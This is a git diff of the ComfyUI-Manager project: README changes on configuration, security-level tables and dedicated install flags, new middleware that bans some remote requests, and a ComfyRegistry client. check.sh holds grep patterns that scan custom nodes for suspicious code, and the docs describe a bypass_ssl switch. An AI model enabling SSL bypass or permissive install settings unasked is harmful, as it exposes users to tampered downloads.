-  * The selected snapshot file is saved in `ComfyUI-Manager/startup-scripts/restore-snapshot.json`, and upon restarting ComfyUI, the snapshot is applied and then deleted.
+  * The selected snapshot file is saved in `<USER_DIRECTORY>/__manager/startup-scripts/restore-snapshot.json`, and upon restarting ComfyUI, the snapshot is applied and then deleted.
 
-![model-install-dialog](misc/snapshot.jpg)
+![model-install-dialog](https://raw.githubusercontent.com/ltdrdata/ComfyUI-extension-tutorials/Main/ComfyUI-Manager/images/snapshot.jpg)
 
 
-## cm-cli: command line tools for power user
+## cm-cli: command line tools for power users
 * A tool is provided that allows you to use the features of ComfyUI-Manager without running ComfyUI.
 * For more details, please refer to the [cm-cli documentation](docs/en/cm-cli.md).
 
@@ -199,48 +139,18 @@ This repository provides Colab notebooks that allow you to install and use Comfy
 
 ## Custom node support guide
 
-* Currently, the system operates by cloning the git repository and sequentially installing the dependencies listed in requirements.txt using pip, followed by invoking the install.py script. In the future, we plan to discuss and determine the specifications for supporting custom nodes.
+* **NOTICE:**
+    - You should no longer assume that the GitHub repository name will match the subdirectory name under `custom_nodes`. The name of the subdirectory under `custom_nodes` will now use the normalized name from the `name` field in `pyproject.toml`.
+    - Avoid relying on directory names for imports whenever possible.
 
-* Please submit a pull request to update either the custom-node-list.json or model-list.json file.
+* https://docs.comfy.org/registry/overview
+* https://github.com/Comfy-Org/rfcs
 
-* The scanner currently provides a detection function for missing nodes, which is capable of detecting nodes described by the following two patterns.
-
-```
-NODE_CLASS_MAPPINGS = {
-    "ExecutionSwitch": ExecutionSwitch,
-    "ExecutionBlocker": ExecutionBlocker,
-    ...
-}
-
-NODE_CLASS_MAPPINGS.update({
-    "UniFormer-SemSegPreprocessor": Uniformer_SemSegPreprocessor,
-    "SemSegPreprocessor": Uniformer_SemSegPreprocessor,
-})
-```
-  * Or you can provide manually `node_list.json` file.
-
-* When you write a docstring in the header of the .py file for the Node as follows, it will be used for managing the database in the Manager.
-  * Currently, only the `nickname` is being used, but other parts will also be utilized in the future.
-  * The `nickname` will be the name displayed on the badge of the node.
-  * If there is no `nickname`, it will be truncated to 20 characters from the arbitrarily written title and used.
-```
-"""
-@author: Dr.Lt.Data
-@title: Impact Pack
-@nickname: Impact Pack
-@description: This extension offers various detector nodes and detailer nodes that allow you to configure a workflow that automatically enhances facial details. And provide iterative upscaler.
-"""
-```
-
-
-* **Special purpose files** (optional)
+**Special purpose files** (optional)
+  * `pyproject.toml` - Spec file for comfyregistry.
   * `node_list.json` - When your custom nodes pattern of NODE_CLASS_MAPPINGS is not conventional, it is used to manually provide a list of nodes for reference. ([example](https://github.com/melMass/comfy_mtb/raw/main/node_list.json))
   * `requirements.txt` - When installing, this pip requirements will be installed automatically 
   * `install.py` - When installing, it is automatically called
-  * `uninstall.py` - When uninstalling, it is automatically called
-  * `disable.py` - When disabled, it is automatically called
-    * When installing a custom node setup `.js` file, it is recommended to write this script for disabling.
-  * `enable.py` - When enabled, it is automatically called
   * **All scripts are executed from the root path of the corresponding custom node.**
 
 
@@ -259,12 +169,12 @@ NODE_CLASS_MAPPINGS.update({
     }
     ```
   * `<current timestamp>` Ensure that the timestamp is always unique.
-    * "components" should have the same structure as the content of the file stored in ComfyUI-Manager/components.
+    * "components" should have the same structure as the content of the file stored in `<USER_DIRECTORY>/__manager/components`.
       * `<component name>`: The name should be in the format `<prefix>::<node name>`.
-        * `<compnent nodeata>`: In the nodedata of the group node.
+        * `<component node data>`: In the node data of the group node.
           * `<version>`: Only two formats are allowed: `major.minor.patch` or `major.minor`. (e.g. `1.0`, `2.2.1`)
           * `<datetime>`: Saved time
-          * `<packname>`: If the packname is not empty, the category becomes packname/workflow, and it is saved in the <packname>.pack file in ComfyUI-Manager/components.
+          * `<packname>`: If the packname is not empty, the category becomes packname/workflow, and it is saved in the <packname>.pack file in `<USER_DIRECTORY>/__manager/components`.
           * `<category>`: If there is neither a category nor a packname, it is saved in the components category.
           ```
               "version":"1.0",
@@ -279,23 +189,52 @@ NODE_CLASS_MAPPINGS.update({
 * Dragging and dropping or pasting a single component will add a node. However, when adding multiple components, nodes will not be added.
 
 
-## Support of missing nodes installation
+## Support for installing missing nodes
 
-![missing-menu](misc/missing-menu.jpg)
+![missing-menu](https://raw.githubusercontent.com/ltdrdata/ComfyUI-extension-tutorials/Main/ComfyUI-Manager/images/missing-menu.jpg)
 
 * When you click on the ```Install Missing Custom Nodes``` button in the menu, it displays a list of extension nodes that contain nodes not currently present in the workflow.
 
-![missing-list](misc/missing-list.jpg)
+![missing-list](https://raw.githubusercontent.com/ltdrdata/ComfyUI-extension-tutorials/Main/ComfyUI-Manager/images/missing-list.jpg)
+
+
+# Config
+* You can modify the `config.ini` file to apply the settings for ComfyUI-Manager.
+    * The path to the `config.ini` used by ComfyUI-Manager is displayed in the startup log messages.
+    * See also: [https://github.com/ltdrdata/ComfyUI-Manager#paths]
+* Configuration options:
+    ```
+    [default]
+    git_exe = <Manually specify the path to the git executable. If left empty, the default git executable path will be used.>
+    use_uv = <Use uv instead of pip for dependency installation.>
+    default_cache_as_channel_url = <Determines whether to retrieve the DB designated as channel_url at startup>
+    bypass_ssl = <Set to True if SSL errors occur to disable SSL.>
+    file_logging = <Configure whether to create a log file used by ComfyUI-Manager.>
+    windows_selector_event_loop_policy = <If an event loop error occurs on Windows, set this to True.>
+    model_download_by_agent = <When downloading models, use an agent instead of torchvision_download_url.>
+    downgrade_blacklist = <Set a list of packages to prevent downgrades. List them separated by commas.>
+    security_level = <Set the security level => strong|normal|normal-|weak>
+    allow_git_url_install = <Allow installing custom nodes from arbitrary git URLs. Independent of security_level. Default: False>
+    allow_pip_install = <Allow installing arbitrary pip packages via the Manager. Independent of security_level. Default: False>
+    always_lazy_install = <Whether to perform dependency installation on restart even in environments other than Windows.>
+    network_mode = <Set the network mode => public|private|offline|personal_cloud>
+    ```
+
+    * network_mode:
+      - public: An environment that uses a typical public network.
+      - private: An environment that uses a closed network, where a private node DB is configured via `channel_url`. (Uses cache if available)
+      - offline: An environment that does not use any external connections when using an offline network. (Uses cache if available)
+      - personal_cloud: Applies relaxed security features in cloud environments such as Google Colab or Runpod, where strong security is not required. 
 
 
 ## Additional Feature
 * Logging to file feature
   * This feature is enabled by default and can be disabled by setting `file_logging = False` in the `config.ini`.
 
-* Fix node(recreate): When right-clicking on a node and selecting `Fix node (recreate)`, you can recreate the node. The widget's values are reset, while the connections maintain those with the same names.
+* Fix node (recreate): When right-clicking on a node and selecting `Fix node (recreate)`, you can recreate the node. The widget's values are reset, while the connections maintain those with the same names.
   * It is used to correct errors in nodes of old workflows created before, which are incompatible with the version changes of custom nodes.
 
-* Double-Click Node Title: You can set the double click behavior of nodes in the ComfyUI-Manager menu.
+* Double-Click Node Title: You can set the double-click behavior of nodes in the ComfyUI-Manager menu.
   * `Copy All Connections`, `Copy Input Connections`: Double-clicking a node copies the connections of the nearest node.
     * This action targets the nearest node within a straight-line distance of 1000 pixels from the center of the node.
     * In the case of `Copy All Connections`, it duplicates existing outputs, but since it does not allow duplicate connections, the existing output connections of the original node are disconnected.
@@ -316,10 +255,41 @@ NODE_CLASS_MAPPINGS.update({
 * Custom pip mapping
   * When you create the `pip_overrides.json` file, it changes the installation of specific pip packages to installations defined by the user.
     * Please refer to the `pip_overrides.json.template` file.
-    
+
+* Prevent the installation of specific pip packages
+  * List the package names one per line in the `pip_blacklist.list` file.
+
+* Automatically Restoring pip Installation
+ * If you list pip spec requirements in `pip_auto_fix.list`, similar to `requirements.txt`, it will automatically restore the specified versions when starting ComfyUI or when versions get mismatched during various custom node installations.
+ * `--index-url` can be used.
+
 * Use `aria2` as downloader
   * [howto](docs/en/use_aria2.md)
 
+
+## Environment Variables
+
+The following features can be configured using environment variables:
+
+* **COMFYUI_PATH**: The installation path of ComfyUI
+* **GITHUB_ENDPOINT**: Reverse proxy configuration for environments with limited access to GitHub
+* **HF_ENDPOINT**: Reverse proxy configuration for environments with limited access to Hugging Face
+
+
+### Example 1:
+Redirecting `https://github.com/ltdrdata/ComfyUI-Impact-Pack` to `https://mirror.ghproxy.com/https://github.com/ltdrdata/ComfyUI-Impact-Pack`
+
+```
+GITHUB_ENDPOINT=https://mirror.ghproxy.com/https://github.com
+```
+
+#### Example 2:
+Changing `https://huggingface.co/path/to/somewhere` to `https://some-hf-mirror.com/path/to/somewhere`
+
+```
+HF_ENDPOINT=https://some-hf-mirror.com 
+```
+
 ## Scanner
 When you run the `scan.sh` script:
 
@@ -330,85 +300,64 @@ When you run the `scan.sh` script:
 
 * It updates the `github-stats.json`.
   * This uses the GitHub API, so set your token with `export GITHUB_TOKEN=your_token_here` to avoid quickly reaching the rate limit and malfunctioning.
-  * To skip this step, add the `--skip-update-stat` option.
+  * To skip this step, add the `--skip-stat-update` option.
 
 * The `--skip-all` option applies both `--skip-update` and `--skip-stat-update`.
 
 
 ## Troubleshooting
-* If your `git.exe` is installed in a specific location other than system git, please install ComfyUI-Manager and run ComfyUI. Then, specify the path including the file name in `git_exe = ` in the ComfyUI-Manager/config.ini file that is generated.
+* If your `git.exe` is installed in a specific location other than system git, please install ComfyUI-Manager and run ComfyUI. Then, specify the path including the file name in `git_exe = ` in the `<USER_DIRECTORY>/__manager/config.ini` file that is generated.
 * If updating ComfyUI-Manager itself fails, please go to the **ComfyUI-Manager** directory and execute the command `git update-ref refs/remotes/origin/main a361cc1 && git fetch --all && git pull`.
- * Alternatively, download the update-fix.py script from [update-fix.py](https://github.com/ltdrdata/ComfyUI-Manager/raw/main/scripts/update-fix.py) and place it in the ComfyUI-Manager directory. Then, run it using your Python command.
-   For the portable version, use `..\..\..\python_embeded\python.exe update-fix.py`.
-* For cases where nodes like `PreviewTextNode` from `ComfyUI_Custom_Nodes_AlekPet` are only supported as front-end nodes, we currently do not provide missing nodes for them.
-* Currently, `vid2vid` is not being updated, causing compatibility issues.
-* If you encounter the error message `Overlapped Object has pending operation at deallocation on Comfyui Manager load` under Windows
+* If you encounter the error message `Overlapped Object has pending operation at deallocation on ComfyUI Manager load` under Windows
   * Edit `config.ini` file: add `windows_selector_event_loop_policy = True`
-* if `SSL: CERTIFICATE_VERIFY_FAILED` error is occured.
+* If the `SSL: CERTIFICATE_VERIFY_FAILED` error occurs.
   * Edit `config.ini` file: add `bypass_ssl = True`
 
+
 ## Security policy
-  * Edit `config.ini` file: add `security_level = <LEVEL>`
-    * `strong`
-      * doesn't allow `high` and `middle` level risky feature
-    * `normal`
-      * doesn't allow `high` level risky feature
-      * `middle` level risky feature is available
-    * `normal-`
-      * doesn't allow `high` level risky feature if `--listen` is specified and not starts with `127.`
-      * `middle` level risky feature is available
-    * `weak`
-      * all feature is available
-    
-  * `high` level risky features
-    * `Install via git url`, `pip install`
-    * Installation of custom nodes registered not in the `default channel`.
-    * Fix custom nodes
-  
-  * `middle` level risky features
-    * Uninstall/Update
-    * Installation of custom nodes registered in the `default channel`.
-    * Restore/Remove Snapshot
-    * Restart
-  
-  * `low` level risky features
-    * Update ComfyUI
+
+The security settings are applied based on whether the ComfyUI server's listener is non-local and whether the network mode is set to `personal_cloud`.
+
+* **non-local**: When the server is launched with `--listen` and is bound to a network range other than the local `127.` range, allowing remote IP access.
+* **personal\_cloud**: When the `network_mode` is set to `personal_cloud`.
 
 
-## TODO: Unconventional form of custom node list
+### Risky Level Table
 
-* https://github.com/diontimmer/Sample-Diffusion-ComfyUI-Extension
-* https://github.com/senshilabs/NINJA-plugin
-* https://github.com/MockbaTheBorg/Nodes
-* https://github.com/StartHua/Comfyui_GPT_Story
-* https://github.com/NielsGercama/comfyui_customsampling
-* https://github.com/wrightdaniel2017/ComfyUI-VideoLipSync
-* https://github.com/bxdsjs/ComfyUI-Image-preprocessing
-* https://github.com/SMUELDigital/ComfyUI-ONSET
-* https://github.com/SimithWang/comfyui-renameImages
-* https://github.com/icefairy64/comfyui-model-tilt
-* https://github.com/andrewharp/ComfyUI-EasyNodes
-* https://github.com/SimithWang/comfyui-renameImages
-* https://github.com/Tcheko243/ComfyUI-Photographer-Alpha7-Nodes
-* https://github.com/Limbicnation/ComfyUINodeToolbox
-* https://github.com/chenpipi0807/pip_longsize
-* https://github.com/APZmedia/ComfyUI-APZmedia-srtTools
+| Risky Level | features                                                                                                                              |
+|-------------|---------------------------------------------------------------------------------------------------------------------------------------|
+| high+       | * **Switch ComfyUI version**<BR>* **Fix nodepack** |
+| high        | _(no features at this tier — `Fix nodepack` promoted to `high+` to align the enforcement gate with the `SECURITY_MESSAGE_HIGH_P` log text)_ |
+| middle+     | * Uninstall/Update<BR>* Installation of nodepack registered in the `default channel`.<BR>* Restore/Remove Snapshot<BR>* Install model |
+| middle      | * Restart                                                                                                                             |
+| low         | * Update ComfyUI                                                                                                                      |
 
-## Roadmap
+* **Note**: `Install via git url` and `pip install` are no longer gated by `security_level` — they moved to the dedicated flags `allow_git_url_install` / `allow_pip_install`. Installation of a nodepack registered not in the `default channel` likewise requires `allow_git_url_install` (in addition to the `middle+` level preconditions) instead of a `high+` security level. See the [Dedicated install flags](#dedicated-install-flags-allow_git_url_install--allow_pip_install) subsection below.
 
-- [x] System displaying information about failed custom nodes import.
-- [x] Guide for missing nodes in ComfyUI vanilla nodes.
-- [x] Collision checking system for nodes with the same ID across extensions.
-- [x] Template sharing system. (-> Component system based on Group Nodes)
-- [x] 3rd party API system.
-- [ ] Auto migration for custom nodes with changed structures.
-- [ ] Version control feature for nodes.
-- [ ] List of currently used custom nodes.
-- [x] Download support multiple model download.
-- [x] Model download via url.
-- [x] List sorting (custom nodes).
-- [x] List sorting (model).
-- [ ] Provides description of node.
+
+### Security Level Table
+
+| Security Level | local                                                                                                                    | non-local (personal_cloud)                                                                                               | non-local (not personal_cloud) |
+|----------------|--------------------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------|--------------------------------|
+| strong         | * Only `weak` level risky features are allowed                                                                           | * Only `weak` level risky features are allowed                                                                           | * Only `weak` level risky features are allowed                               |
+| normal         | * `high+` and `high` level risky features are not allowed<BR>* `middle+` and `middle` level risky features are available | * `high+` and `high` level risky features are not allowed<BR>* `middle+` and `middle` level risky features are available | * `high+`, `high` and `middle+` level risky features are not allowed<BR>* `middle` level risky features are available
+| normal-        | * All features are available                                                                                             | * `high+` and `high` level risky features are not allowed<BR>* `middle+` and `middle` level risky features are available | * `high+`, `high` and `middle+` level risky features are not allowed<BR>* `middle` level risky features are available 
+| weak           | * All features are available                                                                                             | * All features are available                                                                                             | * `high+` and `middle+` level risky features are not allowed<BR>* `high`, `middle` and `low` level risky features are available
+
+
+### Dedicated install flags (`allow_git_url_install` / `allow_pip_install`)
+
+The `Install via git url` and `pip install` features are governed by two dedicated `config.ini` flags instead of `security_level`:
+
+* `allow_git_url_install`: Allows installing custom nodes from arbitrary git URLs.
+* `allow_pip_install`: Allows installing arbitrary pip packages via the Manager.
+
+* Both flags default to `False` — secure by default. A missing or invalid value (anything other than `true`, case-insensitive) is read as `False`.
+* These flags fully **replace** `security_level` for these two features. `security_level` no longer affects them in either direction: a strict security level cannot deny them when the flag is `true`, and a weak security level cannot allow them when the flag is `false`.
+* The network-position rule still applies independently: even with a flag enabled, the feature is denied when the server listener is **non-local**, unless `network_mode = personal_cloud`.
+* Batch installs of git URLs not registered in the `default channel` are also gated by `allow_git_url_install`, and additionally require the normal batch-install preconditions (the `middle+` rules in the tables above). Unknown pip packages in batch installs remain blocked unconditionally — the flags do not open them.
+* Changes to these flags require a restart of ComfyUI to take effect.
+* Migration note: if you previously relied on `security_level = weak` or `normal-` to use these features, you must now opt in explicitly by setting the flags in the `[default]` section of `config.ini`. The flags are not auto-seeded from your `security_level`.
 
 
 # Disclaimer

__init__.py

@@ -1,16 +0,0 @@
-import os
-
-cli_mode_flag = os.path.join(os.path.dirname(__file__), '.enable-cli-only-mode')
-
-if not os.path.exists(cli_mode_flag):
-    from .glob import manager_server
-    from .glob import share_3rdparty
-    WEB_DIRECTORY = "js"
-else:
-    print(f"\n[ComfyUI-Manager] !! cli-only-mode is enabled !!\n")
-
-NODE_CLASS_MAPPINGS = {}
-__all__ = ['NODE_CLASS_MAPPINGS']
-
-
-

channels.list.template

@@ -1,6 +0,0 @@
-default::https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main
-recent::https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main/node_db/new
-legacy::https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main/node_db/legacy
-forked::https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main/node_db/forked
-dev::https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main/node_db/dev
-tutorial::https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main/node_db/tutorial

check.sh

@@ -9,6 +9,7 @@ files=(
     "alter-list.json"
     "extension-node-map.json"
     "github-stats.json"
+    "extras.json"
     "node_db/new/custom-node-list.json"
     "node_db/new/model-list.json"
     "node_db/new/extension-node-map.json"
@@ -36,7 +37,7 @@ find ~/.tmp/default -name "*.py" -print0 | xargs -0 grep -E "crypto|^_A="
 
 echo
 echo CHECK3
-find ~/.tmp/default -name "requirements.txt" | xargs grep "^\s*https\\?:"
-find ~/.tmp/default -name "requirements.txt" | xargs grep "\.whl"
+find ~/.tmp/default -name "requirements.txt" | xargs grep "^\s*[^#]*https\?:"
+find ~/.tmp/default -name "requirements.txt" | xargs grep "^\s*[^#].*\.whl"
 
 echo

cm_cli/__init__.py

@@ -0,0 +1,3 @@
+def main():
+    from .__main__ import main as _main
+    _main()

comfyui_manager/README.md

@@ -0,0 +1,49 @@
+# ComfyUI-Manager: Core Backend (glob)
+
+This directory contains the Python backend modules that power ComfyUI-Manager, handling the core functionality of node management, downloading, security, and server operations.
+
+## Directory Structure
+- **glob/** - code for new cacheless ComfyUI-Manager
+- **legacy/** - code for legacy ComfyUI-Manager
+
+## Core Modules
+- **manager_core.py**: The central implementation of management functions, handling configuration, installation, updates, and node management.
+- **manager_server.py**: Implements server functionality and API endpoints for the web interface to interact with the backend.
+
+## Specialized Modules
+
+- **share_3rdparty.py**: Manages integration with third-party sharing platforms.
+
+## Architecture
+
+The backend follows a modular design pattern with clear separation of concerns:
+
+1. **Core Layer**: Manager modules provide the primary API and business logic
+2. **Utility Layer**: Helper modules provide specialized functionality
+3. **Integration Layer**: Modules that connect to external systems
+
+## Security Model
+
+The system implements a comprehensive security framework with multiple levels:
+
+- **Block**: Highest security - blocks most remote operations
+- **High**: Allows only specific trusted operations
+- **Middle**: Standard security for most users
+- **Normal-**: More permissive for advanced users
+- **Weak**: Lowest security for development environments
+
+## Implementation Details
+
+- The backend is designed to work seamlessly with ComfyUI
+- Asynchronous task queuing is implemented for background operations
+- The system supports multiple installation modes
+- Error handling and risk assessment are integrated throughout the codebase
+
+## API Integration
+
+The backend exposes a REST API via `manager_server.py` that enables:
+- Custom node management (install, update, disable, remove)
+- Model downloading and organization
+- System configuration
+- Snapshot management
+- Workflow component handling

comfyui_manager/__init__.py

@@ -0,0 +1,133 @@
+import os
+import logging
+from aiohttp import web
+from .common.manager_security import HANDLER_POLICY
+from .common import manager_security
+from comfy.cli_args import args
+
+
+# Register server-push feature flag so ComfyUI_frontend (and other clients)
+# can detect CSRF-POST backend capability as a semantic contract (vs version
+# string parsing). See PR #2818 for context; clients use this flag to decide
+# whether to invoke POST state-mutation endpoints. Manager versions prior to
+# 4.2.1 do not set this flag — clients should treat its absence as
+# 'incompatible with POST-only state-mutation endpoints'.
+try:
+    from comfy_api import feature_flags as _core_feature_flags
+    _mgr_flags = (
+        _core_feature_flags.SERVER_FEATURE_FLAGS
+        .setdefault('extension', {})
+        .setdefault('manager', {})
+    )
+    _mgr_flags['supports_csrf_post'] = True
+except ImportError:
+    # Older ComfyUI core without comfy_api.feature_flags module.
+    # Manager functions but clients will not observe the flag.
+    pass
+
+
+def prestartup():
+    from . import prestartup_script  # noqa: F401
+    logging.info('[PRE] ComfyUI-Manager')
+
+
+def start():
+    logging.info('[START] ComfyUI-Manager')
+    from .common import cm_global     # noqa: F401
+
+    if args.enable_manager:
+        if args.enable_manager_legacy_ui:
+            try:
+                from .legacy import manager_server  # noqa: F401
+                from .legacy import share_3rdparty  # noqa: F401
+                from .legacy import manager_core as core
+                import nodes
+
+                logging.info("[ComfyUI-Manager] Legacy UI is enabled.")
+                nodes.EXTENSION_WEB_DIRS['comfyui-manager-legacy'] = os.path.join(os.path.dirname(__file__), 'js')
+            except Exception as e:
+                # WI-V: upgraded silent `print` to a proper logging.error with
+                # traceback so future legacy-UI load failures are visible in
+                # the log, not swallowed. The original `print` could be lost
+                # depending on how stdout is captured.
+                import traceback
+                logging.error(
+                    "[ComfyUI-Manager] Error enabling legacy frontend: "
+                    f"{type(e).__name__}: {e}\n{traceback.format_exc()}"
+                )
+                core = None
+        else:
+            from .glob import manager_server  # noqa: F401
+            from .glob import share_3rdparty  # noqa: F401
+            from .glob import manager_core as core
+
+        if core is not None:
+            manager_security.is_personal_cloud_mode = core.get_config()['network_mode'].lower() == 'personal_cloud'
+
+
+def should_be_disabled(fullpath:str) -> bool:
+    """
+    1. Disables the legacy ComfyUI-Manager.
+    2. The blocklist can be expanded later based on policies.
+    """
+    if args.enable_manager:
+        # In cases where installation is done via a zip archive, the directory name may not be comfyui-manager, and it may not contain a git repository.
+        # It is assumed that any installed legacy ComfyUI-Manager will have at least 'comfyui-manager' in its directory name.
+        dir_name = os.path.basename(fullpath).lower()
+        if 'comfyui-manager' in dir_name:
+            return True
+
+    return False
+
+
+def get_client_ip(request):
+    peername = request.transport.get_extra_info("peername")
+    if peername is not None:
+        # Grab the first two values - there can be more, ie. with --listen
+        host, port = peername[:2]
+        return host
+
+    return "unknown"
+
+
+def create_middleware():
+    connected_clients = set()
+    is_local_mode = manager_security.is_loopback(args.listen)
+
+    @web.middleware
+    async def manager_middleware(request: web.Request, handler):
+        nonlocal connected_clients
+
+        # security policy for remote environments
+        prev_client_count = len(connected_clients)
+        client_ip = get_client_ip(request)
+        connected_clients.add(client_ip)
+        next_client_count = len(connected_clients)
+
+        if prev_client_count == 1 and next_client_count > 1:
+            manager_security.multiple_remote_alert()
+
+        policy = manager_security.get_handler_policy(handler)
+        is_banned = False
+
+        # policy check
+        if len(connected_clients) > 1:
+            if is_local_mode:
+                if HANDLER_POLICY.MULTIPLE_REMOTE_BAN_NON_LOCAL in policy:
+                    is_banned = True
+                if HANDLER_POLICY.MULTIPLE_REMOTE_BAN_NOT_PERSONAL_CLOUD in policy:
+                    is_banned = not manager_security.is_personal_cloud_mode
+
+        if HANDLER_POLICY.BANNED in policy:
+            is_banned = True
+
+        if is_banned:
+            logging.warning(f"[Manager] Banning request from {client_ip}: {request.path}")
+            response = web.Response(text="[Manager] This request is banned.", status=403)
+        else:
+            response: web.Response = await handler(request)
+
+        return response
+
+    return manager_middleware
+    

comfyui_manager/channels.list.template

@@ -0,0 +1,6 @@
+default::https://raw.githubusercontent.com/Comfy-Org/ComfyUI-Manager/main
+recent::https://raw.githubusercontent.com/Comfy-Org/ComfyUI-Manager/main/node_db/new
+legacy::https://raw.githubusercontent.com/Comfy-Org/ComfyUI-Manager/main/node_db/legacy
+forked::https://raw.githubusercontent.com/Comfy-Org/ComfyUI-Manager/main/node_db/forked
+dev::https://raw.githubusercontent.com/Comfy-Org/ComfyUI-Manager/main/node_db/dev
+tutorial::https://raw.githubusercontent.com/Comfy-Org/ComfyUI-Manager/main/node_db/tutorial

comfyui_manager/common/README.md

@@ -0,0 +1,16 @@
+# ComfyUI-Manager: Core Backend (glob)
+
+This directory contains the Python backend modules that power ComfyUI-Manager, handling the core functionality of node management, downloading, security, and server operations.
+
+## Core Modules
+
+- **manager_downloader.py**: Handles downloading operations for models, extensions, and other resources.
+- **manager_util.py**: Provides utility functions used throughout the system.
+
+## Specialized Modules
+
+- **cm_global.py**: Maintains global variables and state management across the system.
+- **cnr_utils.py**: Helper utilities for interacting with the custom node registry (CNR).
+- **git_utils.py**: Git-specific utilities for repository operations.
+- **node_package.py**: Handles the packaging and installation of node extensions.
+- **security_check.py**: Implements the multi-level security system for installation safety.

comfyui_manager/common/__init__.py

@@ -0,0 +1,17 @@
+from .timestamp_utils import (
+    current_timestamp,
+    get_timestamp_for_filename,
+    get_timestamp_for_path,
+    get_backup_branch_name,
+    get_now,
+    get_unix_timestamp,
+)
+
+__all__ = [
+    'current_timestamp',
+    'get_timestamp_for_filename',
+    'get_timestamp_for_path',
+    'get_backup_branch_name',
+    'get_now',
+    'get_unix_timestamp',
+]

comfyui_manager/common/cm_global.py

@@ -110,3 +110,8 @@ def add_on_revision_detected(k, f):
             traceback.print_exc()
     else:
         variables['cm.on_revision_detected_handler'].append((k, f))
+
+
+error_dict = {}
+
+disable_front = False

comfyui_manager/common/cnr_utils.py

@@ -0,0 +1,260 @@
+import asyncio
+import json
+import os
+import platform
+import time
+from dataclasses import dataclass
+from typing import List
+
+from . import context
+from . import manager_util
+
+import requests
+import toml
+import logging
+
+base_url = "https://api.comfy.org"
+
+
+lock = asyncio.Lock()
+
+is_cache_loading = False
+
+async def get_cnr_data(cache_mode=True, dont_wait=True):
+    try:
+        return await _get_cnr_data(cache_mode, dont_wait)
+    except asyncio.TimeoutError:
+        logging.info("A timeout occurred during the fetch process from ComfyRegistry.")
+        return await _get_cnr_data(cache_mode=True, dont_wait=True)  # timeout fallback
+
+async def _get_cnr_data(cache_mode=True, dont_wait=True):
+    global is_cache_loading
+
+    uri = f'{base_url}/nodes'
+
+    async def fetch_all():
+        remained = True
+        page = 1
+
+        full_nodes = {}
+
+        
+        # Determine form factor based on environment and platform
+        is_desktop = bool(os.environ.get('__COMFYUI_DESKTOP_VERSION__'))
+        system = platform.system().lower()
+        is_windows = system == 'windows'
+        is_mac = system == 'darwin'
+        is_linux = system == 'linux'
+
+        # Get ComfyUI version tag
+        if is_desktop:
+            # extract version from pyproject.toml instead of git tag
+            comfyui_ver = context.get_current_comfyui_ver() or 'unknown'
+        else:
+            comfyui_ver = context.get_comfyui_tag() or 'unknown'
+
+        if is_desktop:
+            if is_windows:
+                form_factor = 'desktop-win'
+            elif is_mac:
+                form_factor = 'desktop-mac'
+            else:
+                form_factor = 'other'
+        else:
+            if is_windows:
+                form_factor = 'git-windows'
+            elif is_mac:
+                form_factor = 'git-mac'
+            elif is_linux:
+                form_factor = 'git-linux'
+            else:
+                form_factor = 'other'
+
+        from comfyui_manager.glob import manager_core
+        verbose = manager_core.get_config().get('verbose', False)
+
+        while remained:
+            # Add comfyui_version and form_factor to the API request
+            sub_uri = f'{base_url}/nodes?page={page}&limit=30&comfyui_version={comfyui_ver}&form_factor={form_factor}'
+            sub_json_obj = await asyncio.wait_for(manager_util.get_data_with_cache(sub_uri, cache_mode=False, silent=True, dont_cache=True), timeout=30)
+            remained = page < sub_json_obj['totalPages']
+
+            for x in sub_json_obj['nodes']:
+                full_nodes[x['id']] = x
+
+            if page % 5 == 0 and verbose:
+                logging.info(f"FETCH ComfyRegistry Data: {page}/{sub_json_obj['totalPages']}")
+
+            page += 1
+            time.sleep(0.5)
+
+        logging.info("FETCH ComfyRegistry Data [DONE]")
+
+        for v in full_nodes.values():
+            if 'latest_version' not in v:
+                v['latest_version'] = dict(version='nightly')
+
+        return {'nodes': list(full_nodes.values())}
+
+    if cache_mode:
+        is_cache_loading = True
+        cache_state = manager_util.get_cache_state(uri)
+
+        if dont_wait:
+            if cache_state == 'not-cached':
+                return {}
+            else:
+                logging.info("[ComfyUI-Manager] The ComfyRegistry cache update is still in progress, so an outdated cache is being used.")
+                with open(manager_util.get_cache_path(uri), 'r', encoding="UTF-8", errors="ignore") as json_file:
+                    return json.load(json_file)['nodes']
+
+        if cache_state == 'cached':
+            with open(manager_util.get_cache_path(uri), 'r', encoding="UTF-8", errors="ignore") as json_file:
+                return json.load(json_file)['nodes']
+
+    try:
+        json_obj = await fetch_all()
+        manager_util.save_to_cache(uri, json_obj)
+        return json_obj['nodes']
+    except Exception:
+        res = {}
+        logging.warning("Cannot connect to comfyregistry.")
+    finally:
+        if cache_mode:
+            is_cache_loading = False
+
+    return res
+
+
+@dataclass
+class NodeVersion:
+    changelog: str
+    dependencies: List[str]
+    deprecated: bool
+    id: str
+    version: str
+    download_url: str
+
+
+def map_node_version(api_node_version):
+    """
+    Maps node version data from API response to NodeVersion dataclass.
+
+    Args:
+        api_data (dict): The 'node_version' part of the API response.
+
+    Returns:
+        NodeVersion: An instance of NodeVersion dataclass populated with data from the API.
+    """
+    return NodeVersion(
+        changelog=api_node_version.get(
+            "changelog", ""
+        ),  # Provide a default value if 'changelog' is missing
+        dependencies=api_node_version.get(
+            "dependencies", []
+        ),  # Provide a default empty list if 'dependencies' is missing
+        deprecated=api_node_version.get(
+            "deprecated", False
+        ),  # Assume False if 'deprecated' is not specified
+        id=api_node_version[
+            "id"
+        ],  # 'id' should be mandatory; raise KeyError if missing
+        version=api_node_version[
+            "version"
+        ],  # 'version' should be mandatory; raise KeyError if missing
+        download_url=api_node_version.get(
+            "downloadUrl", ""
+        ),  # Provide a default value if 'downloadUrl' is missing
+    )
+
+
+def install_node(node_id, version=None):
+    """
+    Retrieves the node version for installation.
+
+    Args:
+      node_id (str): The unique identifier of the node.
+      version (str, optional): Specific version of the node to retrieve. If omitted, the latest version is returned.
+
+    Returns:
+      NodeVersion: Node version data or error message.
+    """
+    if version is None:
+        url = f"{base_url}/nodes/{node_id}/install"
+    else:
+        url = f"{base_url}/nodes/{node_id}/install?version={version}"
+
+    response = requests.get(url, verify=not manager_util.bypass_ssl)
+    if response.status_code == 200:
+        # Convert the API response to a NodeVersion object
+        return map_node_version(response.json())
+    else:
+        return None
+
+
+def all_versions_of_node(node_id):
